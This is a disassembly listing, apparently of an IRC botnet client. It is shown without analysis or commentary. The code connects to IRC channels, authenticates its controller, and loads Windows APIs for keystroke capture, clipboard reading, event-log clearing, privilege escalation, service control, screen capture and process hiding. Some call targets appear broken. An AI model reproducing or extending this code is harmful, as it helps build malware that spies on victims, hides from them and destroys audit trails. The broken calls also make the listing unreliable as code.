		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 2660EB7h
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEC4[eax]
		nop
		call	near ptr 268063Ch
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEC4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCB0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296BC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_429694

loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h

loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------

loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax

loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_429670
		jmp	short loc_409689
; ---------------------------------------------------------------------------

loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429644

loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DB0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429628
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429604
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_4295E0
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295BC
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429598
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h

loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		nop
		call	near ptr 2660EB7h

loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429570
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------

loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42954C

loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx

loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx

loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA30 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE2C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429548 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294C8
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160

loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429474
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998

loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429454
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429434
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE24, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		call	near ptr 2660EB7h
		nop

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE34, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAEDC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CAFD4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CAE7C, eax
		jz	short loc_409C10
		cmp	dword_4CAF94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF78, ebx
		jz	short loc_409C10
		cmp	dword_4CAE88, ebx
		jz	short loc_409C10
		cmp	dword_4CAE64, ebx
		jz	short loc_409C10
		cmp	dword_4CAEDC, ebx
		jz	short loc_409C10
		cmp	dword_4CAFD4, ebx
		jz	short loc_409C10
		cmp	dword_4CB030, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A

loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB034, 1

loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFAC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------

loc_409C32:				; CODE XREF: sub_409B12+1Dj
		call	near ptr 267084Ch
		nop
		mov	dword_4CB038, eax
		mov	dword_4CB034, 1

loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26A0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		cmp	dword_4CAFD0, ebx
		mov	dword_4CAEB4, eax
		jz	short loc_409D00
		cmp	dword_4CAF80, ebx
		jz	short loc_409D00
		cmp	dword_4CAF14, ebx
		jz	short loc_409D00
		cmp	dword_4CB024, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CAF64, ebx
		jz	short loc_409D00
		cmp	dword_4CAFC8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A

loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB03C, 1

loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE48, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF40, ebx
		mov	dword_4CAEF8, eax
		jz	short loc_409D67
		cmp	dword_4CAE48, ebx
		jz	short loc_409D67
		cmp	dword_4CAF10, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------

loc_409D5C:				; CODE XREF: sub_409B12+144j
		nop
		call	near ptr 267084Ch
		mov	dword_4CB040, eax

loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB03C, 1

loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF28, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAED8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAFE4, ebx
		mov	dword_4CAF04, eax
		jz	short loc_409E1A
		cmp	dword_4CAF28, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF98, ebx
		jz	short loc_409E1A
		cmp	dword_4CAE74, ebx
		jz	short loc_409E1A
		cmp	dword_4CAED8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF50, ebx
		jnz	short loc_409E24

loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB044, 1

loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF30, eax
		call	esi
		cmp	dword_4CAF58, ebx
		mov	dword_4CAFE0, eax
		jz	short loc_409E5F
		cmp	dword_4CAF30, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69

loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB044, 1

loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE50, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE58, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEBC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF34, eax
		call	esi
		cmp	dword_4CAF68, ebx
		mov	dword_4CAE5C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE50, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE58, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEBC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEC0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE6C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF34, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17

loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB044, 1

loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE54, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------

loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		call	near ptr 267084Ch
		nop
		mov	dword_4CB048, eax

loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB044, 1

loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAF7C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE44, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE30, eax
		call	esi
		cmp	dword_4CAF60, ebx
		mov	dword_4CAED0, eax
		jz	short loc_40A016
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A016
		cmp	dword_4CAF7C, ebx
		jz	short loc_40A016
		cmp	dword_4CAE98, ebx
		jz	short loc_40A016
		cmp	dword_4CAE44, ebx
		jz	short loc_40A016
		cmp	dword_4CAFBC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE30, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------

loc_40A00B:				; CODE XREF: sub_409B12+438j
		call	near ptr 267084Ch
		nop
		mov	dword_4CB050, eax

loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB04C, 1

loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAEE4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB018, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAE84, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB010, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CAFD8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		mov	dword_4CAF4C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAF9C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF54, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		cmp	dword_4CAEE4, ebx
		mov	dword_4CB00C, eax
		jz	loc_40A2E7
		cmp	dword_4CB018, ebx
		jz	loc_40A2E7
		cmp	dword_4CAE84, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF20, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF08, ebx
		jz	loc_40A2E7
		cmp	dword_4CAECC, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	loc_40A2E7
		cmp	dword_4CB010, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF1C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB000, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF74, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF70, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEA4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFC4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFD8, ebx
